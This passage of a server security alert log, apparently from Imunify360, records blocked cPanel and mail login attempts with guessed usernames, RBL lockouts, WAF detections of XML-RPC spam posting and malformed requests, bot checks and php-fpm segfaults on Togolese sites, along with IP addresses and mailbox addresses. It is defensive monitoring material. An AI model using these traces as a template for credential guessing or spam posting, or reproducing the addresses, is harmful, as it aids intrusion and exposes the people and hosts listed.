IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/inh.inh.free.netmaster.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.162.176.89
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/1438132650 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 02:26:32 +0000] info [cpaneld] 167.99.236.81 - su_docteur "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user su_docteur (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 02:27:06 +0000] info [cpaneld] 64.111.92.123 - 2083masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 02:29:23 +0000] info [cpaneld] 64.111.92.123 - 2083primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 02:29:43 +0000] info [cpaneld] 20.212.169.175 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:30:05 ns5 kernel: php-fpm[2148350]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:31:03 ns5 kernel: php-fpm[2148588]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 02:33:29 +0000] info [cpaneld] 167.99.236.81 - two "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 02:33:58 +0000] info [cpaneld] 52.200.114.158 - masfloy "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:36:31 ns5 kernel: php-fpm[2150445]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:37:17 ns5 kernel: php-fpm[2150601]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 02:37:02 +0000] info [cpaneld] 64.111.92.123 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.191.80.112
country_id: 3865483
description:
45.191.80.112 - - [01/Jul/2026:02:41:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907029&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fseries-a-choisir-au-lycee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782873668 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/series-a-choisir-au-lycee/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.6871.1285 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.191.80.112


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:42:33 ns5 kernel: php-fpm[2154198]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:43:24 ns5 kernel: php-fpm[2154488]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 02:43:31 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 02:44:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.247.25.151
country_id: 1835841
description:
2026-07-01 02:45:22 dovecot_login authenticator failed for H=(localhost) [49.247.25.151]:40696: 535 Incorrect authentication data (set_id=support.technique@mesyscom.com)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.173
country_id: 1880251
description:
43.173.181.173 - - [01/Jul/2026:02:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921432&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D4928&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782873911 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=4928" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.173


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.247.25.151
country_id: 1835841
description:
Jul  1 02:45:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.247.25.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 02:46:44 +0000] info [cpaneld] 167.99.236.81 - bighostingsnbd "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:46:25 ns5 kernel: php-fpm[2154472]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:48:14 ns5 kernel: php-fpm[2156259]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-07-01 02:49:00 H=([77.83.39.59]) [77.83.39.59]:52651 F=<info@bluemarine-services.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-07-01 02:50:57 H=([77.83.39.59]) [77.83.39.59]:54644 F=<advising.service@advising.hsbc.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.63.111.4
country_id: 3865483
domain: arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/arse.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.63.111.4
country_id: 3865483
domain: arse.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/arse.tghttp/arse.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.53.167.119
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2091083363 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jul  1 02:51:46 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:52:21 ns5 kernel: php-fpm[2157542]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jul  1 02:52:47 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:54:57 ns5 kernel: php-fpm[2158094]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:55:04 ns5 kernel: php-fpm[2157605]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:57:27 ns5 kernel: php-fpm[2159742]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 02:57:37 +0000] info [cpaneld] 52.200.114.158 - pduusmyf "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.101.254.52
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:185.101.254.52||TA:185.101.254.52||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.3.37.192
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:vefzejhd||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:00:31 ns5 kernel: php-fpm[2160489]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.124.103.146
country_id: 1835841
description:
Jul  1 03:01:25 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.124.103.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 03:02:19 +0000] info [cpaneld] 20.212.169.175 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:03:45 ns5 kernel: php-fpm[2160640]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:04:04 ns5 kernel: php-fpm[2160802]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.191
country_id: 798544
description:
Jul  1 03:04:46 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.191 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c5f8a94073cf250627d9327e0b3a3cd4696a7854||Title:9tvudsvin0ld4vho||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 03:04:24 +0000] info [cpaneld] 167.99.236.81 - tiyasuxe "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.70
country_id: 690791
description:
Jul  1 03:04:28 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3d96183b2360531ccf4a67c228b72d2793f8dfed||Title:4a3f2km4ktrh069||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.134
country_id: 1880251
description:
47.128.96.134 - - [01/Jul/2026:03:06:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449045&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fong-adventist-development-and-relief-agency-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875207 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ong-adventist-development-and-relief-agency-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.134


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afd9f8a822b647bdf9d574743526f19c54257fd5||Title:5qpwun0g1vngp64oo||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.54
country_id: 6252001
description:
205.169.39.54 - - [01/Jul/2026:03:07:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7259798&pdata=https%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875249 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.54


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1afb1b994ce14d59970fa858b8d07b5f9f08c961||Title:kybe40plmuhiyfb2||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.19
country_id: 6252001
description:
205.169.39.19 - - [01/Jul/2026:03:07:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918858&pdata=https%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875245 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.142
country_id: 732800
description:
Jul  1 03:08:25 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:17613326a8aff46d7e97a895e42e47ae45afc9eb||Title:qlp5fv1oqnnu30xo||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [01/Jul/2026:03:08:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12817816&pdata=http%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875288 HTTP/1.1" 302 0 tilitulab.tg "http://tilitulab.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:09:57 ns5 kernel: php-fpm[2163879]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.11.188
country_id: 6252001
domain: libertetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:191.101.11.188||TA:191.101.11.188||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.127
country_id: 1880251
description:
43.173.176.127 - - [01/Jul/2026:03:09:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000022&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F04%252F07%252Fdeveloppement-les-3-referentiels-programmatiques-qui-ont-tout-change%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875356 HTTP/1.1" 404 561 macite.tg "https://macite.tg/2026/04/07/developpement-les-3-referentiels-programmatiques-qui-ont-tout-change/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [01/Jul/2026:03:09:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789482&pdata=https%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875371 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [01/Jul/2026:03:09:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300465&pdata=https%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875373 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:65386defadcca8909d469423802b4ac3865cb8e6||Title:90ultvrh1pw496||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:10:02 ns5 kernel: php-fpm[2163735]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15aa1eb03942e98b3b1d31fdb19e861ca103eb62||Title:764hyqw7cvujrg||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.247
country_id: 1880251
description:
43.173.180.247 - - [01/Jul/2026:03:10:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077294&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ffeed%253Drss2%2526p%253D2474&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875435 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?feed=rss2&p=2474" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.247


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 03:11:27 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2d59156a3e05325895c4317f35c174c437407ce7||Title:gwg80lml3lmq4mpbhk||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 166.88.178.170
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:166.88.178.170||TA:166.88.178.170||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5e22bcb2909aa547f236e54f93e1c9e950642d97||Title:bg2r12tcdvepgikk0w||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:13:18 ns5 kernel: php-fpm[2163682]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dbaa40e2256d165cb81216ac2e52188fa64c9a7a||Title:xcpxoe9xwzqaovvghn||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:befc88442fbd4a306e88d76e1040d5a90a613676||Title:ku67zj32dg7il4||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a109743a7a57bba27040430a940c2e7a8852f6c2||Title:jyn0z1kygdzkfh5d||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:16:12 ns5 kernel: php-fpm[2165869]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.197.83
country_id: 1880251
description:
43.172.197.83 - - [01/Jul/2026:03:16:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724965&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9175&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782875796 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=9175" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.197.83


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:64e0944b115d3820f8ad9d558e40e58aea176361||Title:zsh463x07607ta50uc||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:17:13 ns5 kernel: php-fpm[2166043]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ab60949aa1d627e08b2cff304f93efc6855f080||Title:48bzjog0hnx8ec0ttv||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b94c9927141df49117d137bc21bc10ceb9d7827||Title:6pm19u1atb9a7t||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:18:24 ns5 kernel: php-fpm[2166044]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 03:19:35 ns5 kernel: php-fpm[2167178]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.200
country_id: 1269750
domain: misstogo.tg
description:
